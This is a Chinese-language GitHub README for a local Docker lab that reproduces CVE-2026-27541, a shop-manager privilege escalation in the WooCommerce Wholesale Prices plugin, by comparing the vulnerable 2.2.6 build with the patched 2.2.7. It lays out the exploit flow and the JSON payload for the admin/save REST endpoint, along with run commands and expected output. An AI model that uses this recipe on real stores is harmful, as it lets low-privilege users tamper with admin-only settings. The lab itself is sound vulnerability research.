rootdirective-sec/CVE-2026-27541-Analysis-Lab
GitHub: rootdirective-sec/CVE-2026-27541-Analysis-Lab
一个用于复现和分析 WooCommerce Wholesale Prices 插件 CVE-2026-27541 认证后权限提升漏洞的 Docker 实验环境,通过并列对比漏洞版本与修复版本展示授权粒度缺陷的危害。
Stars: 0 | Forks: 0
# CVE-2026-27541 — WooCommerce Wholesale Prices 认证后权限提升实验室

## 概述
本项目是一个本地 Docker 实验室,旨在通过在同一台机器上**并列**比较**易受攻击**和**已修复**的构建,来分析和复现 **WooCommerce Wholesale Prices / Wholesale Suite** 插件中 **CVE-2026-27541** 的行为。
核心问题在于以下 REST API 端点中的** broken Access Control (访问控制缺陷)**:
```
/wp-json/wwp/v1/admin/save
```
根据本实验室使用的源代码,该路由在易受攻击和已修复的构建中都已经有了 `permission_callback`。然而,受影响的版本使用的权限检查对于管理员设置写入操作来说过于宽泛:
* **易受攻击 (`2.2.6`)** → `current_user_can( 'manage_woocommerce' )`
* **已修复 (`2.2.7`)** → `current_user_can( 'manage_options' )`
在本实验室中,拥有 `shop_manager` 角色的用户 `shopmgr` 拥有 `manage_woocommerce=true` 权限,但没有 `manage_options` 权限。因此,这个低权限用户可以利用有效的登录会话和有效的 `X-WP-Nonce` 在易受攻击的构建上调用管理员设置保存端点,而已修复的构建对同样的请求返回 `403 rest_forbidden`。
## 本实验室证明了什么
* **易受攻击节点 (`2.2.6`)**:用户 `shopmgr` 可以成功调用 `POST /wp-json/wwp/v1/admin/save` 并修改插件设置。
* **已修复节点 (`2.2.7`)**:来自 `shopmgr` 的相同请求被拒绝,返回 `403`。
* **无认证请求**:如果直接调用端点而不进行认证,两个构建都会返回 `403`,这与这是一个**认证后权限提升**问题的情况一致。
* **持久性证明**:PoC 成功运行后,易受攻击的构建会将 WordPress 选项 `wwp_see_wholesale_prices_replacement_text` 存储为 `PWNED_BY_POC`,而已修复的构建仍然返回 `See wholesale prices`。
## 实验室拓扑
### 服务
* `vuln` → WordPress + WooCommerce + WooCommerce Wholesale Prices `2.2.6`
* `patched` → WordPress + WooCommerce + WooCommerce Wholesale Prices `2.2.7`
* `db-vuln` / `db-patched` → 独立的 MariaDB 数据库
* `seed-vuln` / `seed-patched` → `wp-cli` 初始化任务,用于安装 WordPress,安装插件,创建用户以及创建用于测试的产品
### 发布端口
* `http://localhost:8081` → 易受攻击
* `http://localhost:8082` → 已修复
### 基础镜像
* WordPress: `wordpress:6.8.1-php8.2-apache`
* MariaDB: `mariadb:11.4.5`
* Seeder: `wordpress:cli-php8.2`
## 仓库布局
```
.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
```
### 重要文件
* `docker-compose.yml` — 定义了带有独立数据库的易受攻击和已修复堆栈
* `scripts/seed-wp.sh` — 安装 WordPress、WooCommerce、目标插件,并创建测试用户和产品数据
* `poc.py` — 最小危害 PoC,用于登录、nonce 提取和 REST 端点调用
## 初始化环境
堆栈准备就绪后,初始化脚本会创建以下内容:
### 用户
* `admin` / `AdminPass!234`
* `shopmgr` / `ShopMgrPass!234`
### 产品
* slug: `lab-product`
* 常规价格: `100`
* 批发价格: `50`
### 版本
* WooCommerce: `10.6.0`
* WooCommerce Wholesale Prices:
* 易受攻击: `2.2.6`
* 已修复: `2.2.7`
脚本还会将 `lab-secrets.json` 写入每个 WordPress 容器,以便验证初始化数据和版本信息。
## 为什么 PoC 是最小危害的
此 PoC 并不试图接管站点、更改角色、安装插件或执行 shell。
它仅执行以下操作:
1. 以 `shopmgr` 身份登录
2. 访问相关管理页面以提取 `wpApiSettings.nonce`
3. 向目标端点发送请求
4. 更改一个易于观察的设置值:
```
wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
```
此设置被用作可观察标记,以演示低权限用户可以修改仅限管理员的配置。
## 漏洞摘要
### 受影响组件
* 插件: **WooCommerce Wholesale Prices / Wholesale Suite**
* 路由: `POST /wp-json/wwp/v1/admin/save`
### 漏洞类别
* **Broken Access Control (访问控制缺陷)**
* **认证后权限提升**
### 实际含义
尽管该端点需要有效的会话和 nonce,但易受攻击的版本仍然允许低权限用户(例如拥有 `shop_manager` 角色的 `shopmgr`)调用本应仅限管理员的端点。
### 重要细节
这**不是**一个未经认证的漏洞。
如果在没有登录会话的情况下直接调用该端点,易受攻击和已修复的构建都会拒绝该请求。该漏洞存在于**认证后的授权**环节,而非认证本身。
## 根本原因分析
易受攻击的版本并非缺少 `permission_callback`。缺陷在于它对于写入管理端设置的 REST 操作使用了过于宽泛的权限检查(`manage_woocommerce`)。
根据 `includes/class-wwp-admin-settings.php` 中的源代码:
* 易受攻击和已修复的构建都注册了相同的路由:`POST /wp-json/wwp/v1/admin/save`
* 两个构建都将其路由到 `save_registered_settings()`
* 两个构建都使用 `permission_admin_check()` 作为 `permission_callback`
* **真正的区别在于所检查的权限**
### 易受攻击 (`2.2.6`)
```
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
```
### 已修复 (`2.2.7`)
```
if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
```
在本实验室中,拥有 `shop_manager` 角色的用户 `shopmgr` 拥有 `manage_woocommerce=true` 但没有 `manage_options`,因此它通过了易受攻击的检查但在已修复的检查中失败。
### 已修复行为的变化
已修复版本不仅仅是将响应从 `200` 更改为 `403`。它通过将权限要求从 `manage_woocommerce` 收紧到 `manage_options`,改变了访问控制逻辑。
此外,已修复构建中的保存路径通过从基于前缀的过滤转向显式允许列表和更强的清理措施,得到了进一步加固。
### 为什么 PoC 在易受攻击版本上成功
PoC 遵循与真实浏览器环境相同的流程:
* 以 `shopmgr` 身份登录
* 打开插件设置页面
* 提取 `wpApiSettings.nonce`
* 调用 `POST /wp-json/wwp/v1/admin/save`
由于易受攻击的构建允许拥有 `manage_woocommerce` 的用户调用此设置写入操作,因此请求成功并导致持久的选项更改。
### 安全教训
`nonce` 有助于防止 CSRF,但它**不是**授权控制。
拥有有效的会话和有效的 nonce 并不意味着应该允许用户执行管理员操作。在特权端点上使用过于宽泛的权限足以造成低权限授权绕过。
## 复现实验室
### 前置条件
* Docker Desktop / Docker Engine
* Docker Compose v2
* Python 3
* 互联网访问(用于初始镜像和插件下载)
### 1) 启动实验室
```
docker compose up -d --build
```
### 2) 确认容器已启动
```
docker compose ps
```
您至少应该看到:
* `cve-2026-27541-vuln-1`
* `cve-2026-27541-patched-1`
* `cve-2026-27541-db-vuln-1`
* `cve-2026-27541-db-patched-1`
### 3) 查看初始化日志
```
docker compose logs -f seed-vuln seed-patched
```
### 4) 检查初始化元数据
```
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
```
## PoC 演示
`poc.py` 的工作原理如下:
1. `GET /wp-login.php`
2. `POST /wp-login.php` 以建立认证会话
3. 打开插件管理页面:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
4. 从 HTML/JavaScript 中提取 `wpApiSettings.nonce` 和 REST 根目录
5. 发送请求到:
/wp-json/wwp/v1/admin/save
6. 提交 payload:
```
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
```
## 运行 PoC
### 易受攻击节点
```
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
```
### 已修复节点
```
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
```
## 预期结果
### 易受攻击 (`8081`)
预期输出:
```
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
```
### 已修复 (`8082`)
预期输出:
```
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
```
## 手动验证
### UI 验证
在易受攻击节点上 PoC 成功后:
1. 登出或打开隐身窗口
2. 打开显示替换文本的产品页面或店面页面
3. 查找:
```
PWNED_BY_POC
```
## 安全影响
此类漏洞的实际影响在于,低权限用户可以修改本应仅限管理员的配置,这可直接导致:
* 内容篡改
* 前端消息操纵
* 业务逻辑滥用
本实验室有意使用安全且可观察的 payload,以避免角色更改或任何超出证明漏洞条件所需的升级。
## 清理
```
docker compose down -v
```
## 安全提示
* 仅限本地实验室使用
* 所有服务仅绑定到 `localhost`
* PoC 被有意设计为最小危害,并使用了无害的可观察值
* 请勿将此 PoC 用于您不拥有或未获准测试的系统
## 参考
* [CVE 记录 — CVE-2026-27541](https://www.cve.org/CVERecord?id=CVE-2026-27541)
* [Wordfence — Wholesale Suite <= 2.2.6 - 认证后 (Shop Manager) 权限提升](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-wholesale-prices/wholesale-suite-221-authenticated-shop-manager-privilege-escalation)
* [WordPress.org 插件页面 — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices](https://wordpress.org/plugins/woocommerce-wholesale-prices/)
## TL;DR (太长不看)
本实验室表明 **CVE-2026-27541** 是插件 REST API 设置端点中的一个**认证后低权限授权绕过**。版本 `2.2.6` 中的缺陷不在于缺少权限检查,而在于对于应限制在 `manage_options` 级别的操作使用了过于宽泛的权限(`manage_woocommerce`)。
在此本地环境中:
* `shopmgr` 通过了易受攻击的检查,并且可以通过 `POST /wp-json/wwp/v1/admin/save` 成功修改管理端设置
* 相同的请求在 `2.2.7` 上被阻止
* 易受攻击的构建将 `PWNED_BY_POC` 持久化在目标选项中,而已修复的构建则不会
因此,此存储库在完全受控的本地环境中,既作为行为证明,也作为代码支持的证据,证明了易受攻击版本与已修复版本之间的差异。
标签:Broken Access Control, CSV导出, CVE-2026-27541, Docker, PoC, REST API, Shop Manager, Web安全, Wholesale Prices, WooCommerce, WordPress, 协议分析, 安全实验环境, 安全防御评估, 文件完整性监控, 暴力破解, 权限提升, 漏洞复现, 版权保护, 蓝队分析, 请求拦截, 越权访问, 逆向工具